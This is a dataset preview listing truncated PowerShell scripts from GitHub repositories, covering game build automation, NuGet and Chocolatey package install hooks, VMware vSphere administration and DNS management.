full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/Github/Soverance_Powershell/Unreal/DiscGolfBuild.ps1
DiscGolfBuild.ps1
# © 2016 Soverance Studios # Scott McCutchen # soverance.com # # Automate the build packaging of Ethereal Legends. # # Builds for the following platforms: # # Steam (Windows 64 bit only) # # Disc Golf VR # Run the script with the following options to build for a specific platform # example: ./DiscGolfBui...
PowerShellCorpus/Github/Soverance_Powershell/Unreal/ConvertUTF-8.ps1
ConvertUTF-8.ps1
# Scott McCutchen # soverance.com # # A simple script to convert all files in a directory to UTF-8 encoding # This is necessary for building Unreal Engine on certain platforms, specifically PlayStation 4 Param ( [string]$path = $(throw "YOU MUST ENTER A VALID PATH.") ) # Recursively collect all files wi...
PowerShellCorpus/Github/Soverance_Powershell/Unreal/EtherealBuild.ps1
EtherealBuild.ps1
# © 2016 Soverance Studios # Scott McCutchen # soverance.com # # Automate the build packaging of Ethereal Legends. # # Builds for the following platforms: # # Steam (Windows 64 bit only) # Xbox One # PlayStation 4 # # Ethereal Legends uses the trueSKY middleware provided by Simul, # so this script will al...
PowerShellCorpus/Github/Sheharyar331_MicroTechXDemo/DeploymentDemo/packages/jQuery.1.10.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/Sheharyar331_MicroTechXDemo/DeploymentDemo/packages/jQuery.1.10.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/Sheharyar331_MicroTechXDemo/DeploymentDemo/packages/jQuery.1.10.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/Sheharyar331_MicroTechXDemo/DeploymentDemo/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/Sheharyar331_MicroTechXDemo/DeploymentDemo/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/Sheharyar331_MicroTechXDemo/DeploymentDemo/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/Sheharyar331_MicroTechXDemo/DeploymentDemo/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $compilerPackageName = 'Microsoft.Net.Compilers' $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $libDirectory = Join-Path $installPath 'lib\net45' $packageDirectory = Split-Path $installPath $compilerPackage = Get-Chil...
PowerShellCorpus/Github/Sheharyar331_MicroTechXDemo/DeploymentDemo/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $projectRoot = $project.Properties.Item('FullPath').Value $binDirectory = Join-Path $projectRoot 'bin' $targetDirectory = Join-Path $binDirectory $roslynSubFolder if (Te...
PowerShellCorpus/Github/monica85rodrigues_Demos/Helpers.Solution/packages/EntityFramework.5.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $importedModule = Get-Module | ?{ $_.Name -eq 'EntityFramework' } if ($PSVersionTable.PSVersion -ge (New-Object Version @( 3, 0 ))) { $thisModuleManifest = 'EntityFramework.PS3.psd1' } else { $thisModuleManifest = 'EntityFramework.psd1' } $thisModule...
PowerShellCorpus/Github/monica85rodrigues_Demos/Helpers.Solution/packages/EntityFramework.5.0.0/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) function Invoke-ConnectionFactoryConfigurator($assemblyPath, $project) { $appDomain = [AppDomain]::CreateDomain( 'EntityFramework.PowerShell', $null, (New-Object System.AppDomainSetup -Property @{ ShadowCopyFiles = 'true' })) ...
PowerShellCorpus/Github/Michael-MCP_PSDNS/DNS.ps1
DNS.ps1
#header import-module DnsServer #DNS module used for powershell dns intergration . "C:\sql functions includes.ps1" #for functions #make output to log file "begining new instance" | Out-File 'file.txt' -Append get-date | Out-File 'file.txt' -Append #connection details $MySQLAdminUserName = ‘User’ #MYSQL_Usernam...
PowerShellCorpus/Github/Michael-MCP_PSDNS/sql functions includes.ps1
sql functions includes.ps1
Function ipcollect{ <# .SYNOPSIS Returns A_Record from MYSQL records .DESCRIPTION Returns A_record for given host .EXAMPLE get-A_Record -www .EXAMPLE get-a_record -host .PARAMETER computername The computer name to query. Just one. .PARAMETER logname The name of a file to write fai...
PowerShellCorpus/Github/kimizhu_fengx.zh-cn/.openpublishing.build.ps1
.openpublishing.build.ps1
param( [string]$buildCorePowershellUrl = "https://opbuildstorageprod.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1", [string]$parameters ) # Main $errorActionPreference = 'Stop' # Step-1: Download buildcore script to local echo "download build core script to local with source url: ...
PowerShellCorpus/Github/di9383_test-repo/My scripts/Set-ScreenResolution.ps1
Set-ScreenResolution.ps1
Function Set-ScreenResolution { <# .Synopsis Sets the Screen Resolution of the primary monitor .Description Uses Pinvoke and ChangeDisplaySettings Win32API to make the change .Example Set-ScreenResolution -Width 1024 -Height 768 #> param ( [Paramete...
PowerShellCorpus/Github/di9383_test-repo/My scripts/Powershell Scripting games 2012/E2-Find-StoppableService.ps1
E2-Find-StoppableService.ps1
# Scripting Games 2012 Event 1 # $computers = @('localhost', 'localhost') foreach ($comp in $computers) {Write-Output $comp Get-Process | Sort-Object -Property PM -Descending | select -First 10 } Invoke-Command -ComputerName localhost, localhost -ScriptBlock {Get-Process | Sort-Object -Property Wor...
PowerShellCorpus/Github/di9383_test-repo/My scripts/Powershell Scripting games 2012/E5-Get-ErrorEvents.ps1
E5-Get-ErrorEvents.ps1
function Get-ErrorEvents { [CmdletBinding()] param ( [Parameter(Position=1, Mandatory=$false)] $OutputFile, [Parameter(Position=0, Mandatory=$false)] $ComputerName ) if ($ComputerName) { $result = Get-EventLog -LogName Applica...
PowerShellCorpus/Github/di9383_test-repo/My scripts/Powershell Scripting games 2012/E6-Get-Uptime.ps1
E6-Get-Uptime.ps1
# ------------------------------------------------------------------------------------- # Script: E6-Get-Uptime.ps1 # Author: dzianis sinevich # Date: Thursday, March 30, 2017 15:51:24 # Keywords: Scripting Techniques, Dates and times, Operating System, # basic information, Beginner, Scripting Games # -----------...
PowerShellCorpus/Github/di9383_test-repo/My scripts/Powershell Scripting games 2012/E3-Create-FileInFolder.ps1
E3-Create-FileInFolder.ps1
<# .SYNOPSIS .DESCRIPTION Create file with running processes in folder. .PARAMETER EventFolder Specifies the name of folder. .EXAMPLE Create-FileInFolder.ps1 -EventFolder "2012SG\event3" Creates the list of running processes in C:\2012SG\event3 folder .NOTES Author: Dzianis Sinevich Versi...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/jQuery.1.10.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/jQuery.1.10.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/jQuery.1.10.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/Microsoft.ApplicationInsights.WindowsServer.2.2.0/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) if ([System.IO.File]::Exists($project.FullName)) { function MarkItemASCopyToOutput($item) { Try { #mark it to copy if newer $item.Properties.Item("CopyToOutputDirectory").Value = 2 } Catch { write-host $_.Exception.ToString() }...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/Microsoft.Web.Infrastructure.1.0.0.0/tools/Install.ps1
Install.ps1
param($installPath, $toolsPath, $package, $project) if ($project.Type -eq 'Web Site') { Import-Module (Join-Path $toolsPath VS.psd1) $srcFiles = Join-Path $installPath "lib\net40\*.dll" $projectRoot = Get-ProjectRoot $project if (!$projectRoot) { return; } $destDirec...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/Microsoft.Web.Infrastructure.1.0.0.0/tools/Uninstall.ps1
Uninstall.ps1
param($installPath, $toolsPath, $package, $project) if ($project.Type -eq 'Web Site') { Import-Module (Join-Path $toolsPath VS.psd1) $projectRoot = Get-ProjectRoot $project if (!$projectRoot) { return; } $binDirectory = Join-Path $projectRoot "bin" $srcDirectory = Join-Path $...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/Newtonsoft.Json.6.0.4/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # open json.net splash page on package install # don't open if json.net is installed as a dependency try { $url = "http://james.newtonking.com/json" $dte2 = Get-Interface $dte ([EnvDTE80.DTE2]) if ($dte2.ActiveWindow.Caption -eq "Package Manager Con...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.3/tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $projectRoot = $project.Properties.Item('FullPath').Value $binDirectory = Join-Path $projectRoot 'bin' $targetDirectory = Join-Path $binDirectory $roslynSubFolder if (Te...
PowerShellCorpus/Github/suprahh_clases-Boostrap/Boostrap/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.3/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) $compilerPackageName = 'Microsoft.Net.Compilers' $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $libDirectory = Join-Path $installPath 'lib\net45' $projectRoot = $project.Properties.Item('FullPath').Value $binDirectory...
PowerShellCorpus/Github/OpenLocalizationTestOrg_azure-docs-pr12_fr-CA/.openpublishing.build.ps1
.openpublishing.build.ps1
param( [string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1", [string]$parameters ) # Main $errorActionPreference = 'Stop' # Step-1: Download buildcore script to local echo "download build core script to local with source u...
PowerShellCorpus/Github/mrhockeymonkey_WinPE/TOMERGEIN.ps1
TOMERGEIN.ps1
<# This script will generate a new WinPE Image from scratch allowing you to version control Requirments: Windows ADK 8.1 installed You should run this script from a directory with the following structure or simillar (Adjust to suit needs) D:\WinPE |_ driver | |_ HP | ...
PowerShellCorpus/Github/mrhockeymonkey_WinPE/winpe.ps1
winpe.ps1
<# Author : Scott Matthews Purpose : To automate creation of a custom WinPE Images Requires: Windows ADK (https://go.microsoft.com/fwlink/p/?LinkId=526740) Notes : Logs can be found at C:\Windows\Logs\DISM #> [CmdletBinding()] Param () #Variables $WinPePath = 'C:\Program Fil...
PowerShellCorpus/Github/mrhockeymonkey_WinPE/scripts/Start-OSDeployment.ps1
Start-OSDeployment.ps1
Write-Host "About to Start Deploying Windows..." -ForegroundColor Yellow
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/dotnetcore-windowshosting/tools/data.ps1
data.ps1
@{ PackageName = 'dotnetcore-windowshosting' Version = '2.0.0-Preview1' Url = 'https://download.microsoft.com/download/4/6/6/4668DB58-0643-48EA-A194-CAD059143696/DotNetCore.2.0.0-Preview1-WindowsHosting.exe' Checksum = 'E840EB396E35BD754526BE610F6E0C8F6F221AE030BDA3A74FB65AE9B185A5CA' ChecksumT...
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/dotnetcore-windowshosting/tools/ChocolateyUninstall.ps1
ChocolateyUninstall.ps1
$ErrorActionPreference = 'Stop' Set-StrictMode -Version 2 $data = & (Join-Path -Path (Split-Path -Path $MyInvocation.MyCommand.Path) -ChildPath data.ps1) function Uninstall-ApplicationPackage { [CmdletBinding()] param( [string] $PackageName, [string] $ApplicationName, [string] $Un...
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/dotnetcore-windowshosting/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
$ErrorActionPreference = 'Stop' Set-StrictMode -Version 2 $data = & (Join-Path -Path (Split-Path -Path $MyInvocation.MyCommand.Path) -ChildPath data.ps1) function Get-DismPath { # .NET Core supports Windows 7 or later - this aligns nicely with dism.exe availability $dism = Join-Path -Path $Env:SystemR...
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/dotnetcore-runtime.install/tools/data.ps1
data.ps1
@{ PackageName = 'dotnetcore-runtime.install' Version = '2.0.0-Preview1' Url = 'https://download.microsoft.com/download/0/4/8/048C286D-59CB-4B7C-95A1-D0F7FD4D37D2/dotnet-win-x86.2.0.0-preview1-002111-00.exe' Checksum = 'da1cc72c84e79f1e2aef0c334535f5170339108fc07a3b026d835300370ca55a' ChecksumT...
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/dotnetcore-runtime.install/tools/ChocolateyUninstall.ps1
ChocolateyUninstall.ps1
$ErrorActionPreference = 'Stop' Set-StrictMode -Version 2 $data = & (Join-Path -Path (Split-Path -Path $MyInvocation.MyCommand.Path) -ChildPath data.ps1) function Uninstall-ApplicationPackage { [CmdletBinding()] param( [string] $PackageName, [string] $ApplicationName, [string] $Un...
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/dotnetcore-runtime.install/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
$ErrorActionPreference = 'Stop' Set-StrictMode -Version 2 $data = & (Join-Path -Path (Split-Path -Path $MyInvocation.MyCommand.Path) -ChildPath data.ps1) function Test-QuietRequested { return $Env:chocolateyPackageParameters -like '*Quiet*' } function Get-PassiveOrQuietArgument { [CmdletBinding()...
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/dotnetcore-runtime.portable/tools/data.ps1
data.ps1
@{ PackageName = 'dotnetcore-runtime.portable' Version = '2.0.0-Preview1' Url = 'https://download.microsoft.com/download/0/9/0/09060200-E749-4025-A51A-83391C611C86/dotnet-win-x86.2.0.0-preview1-002111-00.zip' Checksum = '87753581e7d2ddb91ffadb4603cc2c35fd6fb279f7743f8ab1a61916d3be3fe5' Checksum...
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/dotnetcore-runtime.portable/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
$ErrorActionPreference = 'Stop' Set-StrictMode -Version 2 $data = & (Join-Path -Path (Split-Path -Path $MyInvocation.MyCommand.Path) -ChildPath data.ps1) function Test-ShouldShimDotnetExe { return $Env:chocolateyPackageParameters -like '*ShimDotnetExe*' } function Test-SideBySide { Param ( ...
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/aspnetcore-runtimepackagestore/tools/data.ps1
data.ps1
@{ PackageName = 'aspnetcore-runtimepackagestore' Version = '2.0.0-Preview1' Url = 'https://download.microsoft.com/download/4/6/6/4668DB58-0643-48EA-A194-CAD059143696/AspNetCore.2.0.0-Preview1.RuntimePackageStore_x86.exe' Checksum = 'BC113F42E11B084EE2E471A49C927FCA9C3D24784FE59F48DFE87B21CFB29B71' ...
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/aspnetcore-runtimepackagestore/tools/ChocolateyUninstall.ps1
ChocolateyUninstall.ps1
$ErrorActionPreference = 'Stop' Set-StrictMode -Version 2 $data = & (Join-Path -Path (Split-Path -Path $MyInvocation.MyCommand.Path) -ChildPath data.ps1) function Uninstall-ApplicationPackage { [CmdletBinding()] param( [string] $PackageName, [string] $ApplicationName, [string] $Un...
PowerShellCorpus/Github/jberezanski_dotnetcore-chocolateypackages/aspnetcore-runtimepackagestore/tools/ChocolateyInstall.ps1
ChocolateyInstall.ps1
$ErrorActionPreference = 'Stop' Set-StrictMode -Version 2 $data = & (Join-Path -Path (Split-Path -Path $MyInvocation.MyCommand.Path) -ChildPath data.ps1) function Test-QuietRequested { return $Env:chocolateyPackageParameters -like '*Quiet*' } function Get-PassiveOrQuietArgument { [CmdletBinding()...
PowerShellCorpus/Github/icebergfire_VMware/Test-HostNetworks.ps1
Test-HostNetworks.ps1
$TestVM = Get-VM vlan_connectivity_test $ClusterName = "USSP - Production 04 - Database" $ESXHosts = Get-Cluster "USSP - Production 04 - Database" | Get-VMHost $Report = "temp.csv" Write-Output "Host,Network Name,VLAN ID,IP Address,Status" > $Report $ESXHosts | ForEach-Object { $VMHost = $_ $HostsN...
PowerShellCorpus/Github/icebergfire_VMware/ussppvmh02a_RevertPortGroups.ps1
ussppvmh02a_RevertPortGroups.ps1
$VMhost = "usspdvmh01c.sjm.com" #$Oldvlan59 = "VLAN59" #$Newvlan59 = "vDS_VLAN59_DEV" Get-VMhost $VMhost |Get-VM |Get-NetworkAdapter |Where {$_.NetworkName -eq "vDS_VLAN13_DEV" } |Set-NetworkAdapter -NetworkName "VLAN13_std" -Confirm:$false Get-VMhost $VMhost |Get-VM |Get-NetworkAdapter |Where {$_.NetworkName -...
PowerShellCorpus/Github/icebergfire_VMware/Untitled13.ps1
Untitled13.ps1
$vms = Get-Content vms.txt $temp = "temp.csv" Write-Output "Name,Host,Cluster" > $temp ForEach ($vm in $vms) { $data = Get-VM $vm $Name = $data.Name $VMHost = $data.VMHost.Name $Cluster = $data.VMHost.Parent Write-Output "$Name,$VMHost,$Cluster" >> $Temp } $Output = Import-Csv $temp ...
PowerShellCorpus/Github/icebergfire_VMware/ussppvmh02a_changePortGroups.ps1
ussppvmh02a_changePortGroups.ps1
$VMhost = "usspdvmh01a.sjm.com" #$Oldvlan59 = "VLAN59" #$Newvlan59 = "vDS_VLAN59_DEV" Get-VMhost $VMhost |Get-VM |Get-NetworkAdapter |Where {$_.NetworkName -eq "VLAN13_std" } |Set-NetworkAdapter -NetworkName "vDS_VLAN13_DEV" -Confirm:$false Get-VMhost $VMhost |Get-VM |Get-NetworkAdapter |Where {$_.NetworkNa...
PowerShellCorpus/Github/icebergfire_VMware/Set-AutoToolsUpgrade.ps1
Set-AutoToolsUpgrade.ps1
$results=Read-Host "Please enter in a Virtual Machine Name or specify a text file with a list of VM's" if (Test-Path $results) { $computernames = Get-Content $results } else { $computernames = $results } $computernames foreach ($virtualmachine in $computernames) { $vm = Get-VM -Name "$virtualmachin...
PowerShellCorpus/Github/icebergfire_VMware/ussppvmh02a_vMotion_192.168.6.x.ps1
ussppvmh02a_vMotion_192.168.6.x.ps1
$vmhost = "ussppvmh02a.sjm.com" $192_168_5 = "vmk2" $192_168_6 = "vmk1" Get-VMHost $vmhost | Get-VMHostNetworkAdapter -Name $192_168_5 | Set-VMHostNetworkAdapter -VMotionEnabled $false -Confirm:$false Get-VMHost $vmhost | Get-VMHostNetworkAdapter -Name $192_168_6 | Set-VMHostNetworkAdapter -VMotionEnabled $true -Co...
PowerShellCorpus/Github/icebergfire_VMware/ussppvmh02a_vMotion_192.168.5.x.ps1
ussppvmh02a_vMotion_192.168.5.x.ps1
$vmhost = "ussppvmh02a.sjm.com" $192_168_5 = "vmk2" $192_168_6 = "vmk1" Get-VMHost $vmhost | Get-VMHostNetworkAdapter -Name $192_168_6 | Set-VMHostNetworkAdapter -VMotionEnabled $false -Confirm:$false Get-VMHost $vmhost | Get-VMHostNetworkAdapter -Name $192_168_5 | Set-VMHostNetworkAdapter -VMotionEnabled $true -Co...
PowerShellCorpus/Github/icebergfire_VMware/VMware-DS-Report.ps1
VMware-DS-Report.ps1
$Date = Get-Date -uformat "%d%m%Y" $File = "~/Reports/USSY-Datastore-Report-" + $Date + ".csv" echo "ClusterName`tDSName`tCapacityGB`tFreeSpaceGB`tUsedSpaceGB`tUncommittedGB`tProvisionedGB`tPercentOverProvisioned" > $File Get-Cluster | ForEach-Object { $Cluster = $_ $Cluster | Get-VMHost | Get-Datastore | Wh...
PowerShellCorpus/Github/icebergfire_VMware/Check_for_Dead_Paths.ps1
Check_for_Dead_Paths.ps1
param ( [Parameter(Position=0)] [String]$Cluster = $Null, [String]$VIServer = $Null ) If ($Cluster -eq "" -and $VIServer -eq ""){Write-Host "Getting HBA information for all hosts..."; $VMHosts = Get-Cluster | Get-VMHost} ElseIf ($Cluster -ne "" -and $VIServer -eq ""){Write-Host "Getting HBA info...
PowerShellCorpus/Github/icebergfire_VMware/Storage-VMotion-Scottsdale.ps1
Storage-VMotion-Scottsdale.ps1
Function Collect-Data { $ASKCLUSTER = Read-Host "Enter cluster name" $ASKSRCDATASTORE = Read-Host "Enter common naming parameter of source datastores" $ASKDESTDATASTORE = Read-Host "Enter common naming parameter of destination datastores" $NUMBEROFVMOTIONS = Read-Host "Enter number of simultaneous...
PowerShellCorpus/Github/icebergfire_VMware/New-SPSVM.ps1
New-SPSVM.ps1
Add-PSSnapin VMware.VimAutomation.Core $Cluster = "Lillehei - Dell PROD 01" $Template = "# W2012R2STD (Preferred) #" $VLAN = "VLAN52" $Custom = "#_W2K8R2_and_WS2012_#" $VMHost = Get-Cluster $Cluster | Get-VMHost | Sort-Object MemoryUsageGB -Descending | Select-Object -First 1 $Datastore = Get-Datastore -VMHost ...
PowerShellCorpus/Github/icebergfire_VMware/DatastoreFunctions.ps1
DatastoreFunctions.ps1
Function Get-DatastoreMountInfo { [CmdletBinding()] Param ( [Parameter(ValueFromPipeline=$true)] $Datastore ) Process { $AllInfo = @() if (-not $Datastore) { $Datastore = Get-Datastore } Foreach ($ds in $Datastore) { if ($ds.ExtensionData.info.Vmfs) { $hostviewDSDiskName = $ds.E...
PowerShellCorpus/Github/icebergfire_VMware/Add-VMCpuMem.ps1
Add-VMCpuMem.ps1
$Name = "usxossql04" $CPU = "4" $Mem = "16" $VM = Get-VM $Name Shutdown-VMGuest -VM $VM -Confirm:$false do {Write-Host "Waiting for " + $VM.Name + " to power off..."; $PowerState = (Get-VM $Name).PowerState} until ($PowerState -match "PoweredOff") Set-VM -VM $VM -NumCpu $CPU -MemoryGB $Mem -Confirm:$fals...
PowerShellCorpus/Github/icebergfire_VMware/Get-VMStats.ps1
Get-VMStats.ps1
#Connect-VIServer <server> -User <user> -Password <password> $Date = Get-Date -Format MMddyy-HHmmss $allvms = @() $vms = @("ussppapp12","usc1papp10","ussppweb01","usc1pweb01","ussppapp11","usc1papp11","ussppapp16") $stats = Get-Stat -Entity $vms -start (get-date).AddMinutes(-15) -Finish (Get-Date) -stat "cpu.usa...
PowerShellCorpus/Github/icebergfire_VMware/Migraet-vDS.ps1
Migraet-vDS.ps1
$a = (Get-VDPortgroup -VDSwitch vDS_USSP_Prod -Server ussppvcs05.ad.sjm.com | Where-Object {$_.IsUplink -eq $false}).ExtensionData.Config.DefaultPortConfig.Vlan.VlanId Get-VDPortgroup -VDSwitch vDS_USSP_Dev -Server ussppvcs05.ad.sjm.com | Where-Object {$_.IsUplink -eq $false} | ForEach-Object { if ($a -notconta...
PowerShellCorpus/Github/icebergfire_VMware/Change-vDStoStd.ps1
Change-vDStoStd.ps1
$Cluster = "CRM Production" $Report = "$Cluster-Migration.csv" Write-Output "VM,PowerState,ConnectionTest,CurrentNetwork,NewNetwork,NetworkAdapter" > $Report $VMs = Get-Cluster $Cluster | Get-VM $VMs | ForEach-Object { $VMName = $_.Name $PowerState = $_.PowerState $VM = $_ $VM | Get-NetworkAda...
PowerShellCorpus/Github/icebergfire_VMware/Get-VMToolsUpgradePolicy.ps1
Get-VMToolsUpgradePolicy.ps1
Add-PSSnapin VMware.VimAutomation.Core Add-PSSnapin VMware.DeployAutomation $Site = $env:COMPUTERNAME.Substring(0, 4) $Date = Get-Date -Format yyyyMMdd $Report = "Tools-Upgrade-On-Boot-Report-$Date.csv" $VCenters = @("ussppvvc01.ad.sjm.com","ussypvcs04.ad.sjm.com","bebrpvcs05.ad.sjm.com") $Credentials = Get-Cre...
PowerShellCorpus/Github/icebergfire_VMware/Create-BulkSnapshot.ps1
Create-BulkSnapshot.ps1
$VCenterServer = "ussypvcs04.ad.sjm.com" $File = "C:\Users\lewisd01\temp\MIR-Server-Patching-121114" $Servers = Get-Content $File $SnapshotName = "Before_Patching_121114" $SnapshotDescription = "Snapshot of servers before patches (DWL 12/11/2014)" $VCenterConnection = Connect-VIServer $VCenterServer ForEach($Se...
PowerShellCorpus/Github/icebergfire_VMware/Migrate-vDStoSTD.ps1
Migrate-vDStoSTD.ps1
$VDSwitch = "vDS_USSP_Dev" $VDPortGroup = "vDS_VLAN58_DEV" $NewNetwork = "VLAN58_std" Get-VDSwitch $VDSwitch | Get-VDPortgroup $VDPortGroup | Get-NetworkAdapter | ForEach-Object { $VMName = $_.Parent $AdapterName = $_.Name $Mac = $_.MacAddress $NetName = $_.NetworkName $PowerState = (Get-V...
PowerShellCorpus/Github/icebergfire_VMware/Migrate-vDSPortGroups.ps1
Migrate-vDSPortGroups.ps1
$NewVC = "ussppvcs05.ad.sjm.com" $OldVC = "ussppvvc01.ad.sjm.com" $OldSwitch = "vDS_USXO_DMZ" $NewSwitch = "vDS_USXO_DMZ" $Environment = "_DMZ" $Site = "USXO" Get-VDSwitch -Name $OldSwitch -Server $OldVC | Get-VDPortgroup | Where-Object {$_.IsUplink -eq $false} | ForEach-Object { $VLAN = $_.ExtensionData.C...
PowerShellCorpus/Github/icebergfire_VMware/Create-NewlyAddedDiskPartitions.ps1
Create-NewlyAddedDiskPartitions.ps1
$Servers = @("USXOSWEB01","USXOSWEB02","USXOSSBL01","USXOSSBL02","USXOSSBL03","USXOSSBL04") $DriveLetter = "F" $ScriptBlock = { $Disk = Get-Disk | Where-Object {$_.IsOffline -eq $true} Initialize-Disk -Number $Disk.Number -Confirm:$false New-Partition -DiskNumber 2 -UseMaximumSize -DriveLetter $Drive...
PowerShellCorpus/Github/icebergfire_VMware/Get-VMSnapshotReport.ps1
Get-VMSnapshotReport.ps1
$Report = "SnapshotReport.html" $CurrentDate = Get-Date $Creds = Get-Credential $VCConnection = Connect-VIServer uspychspvcs01.chs.com -Credential $Creds Write-Output "<table border=1 cellpadding=5 bordercolor=#006c56> <tr> <th colspan=2><FONT COLOR=#006c56><FONT FACE=Arial, sans-serif><FONT SIZE=2 ST...
PowerShellCorpus/Github/g7crm4l_production/custom/VSCOM2015/startinstall.ps1
startinstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/UI PATH/startInstall.ps1
startInstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/microsoft.net4.5/startinstall.ps1
startinstall.ps1
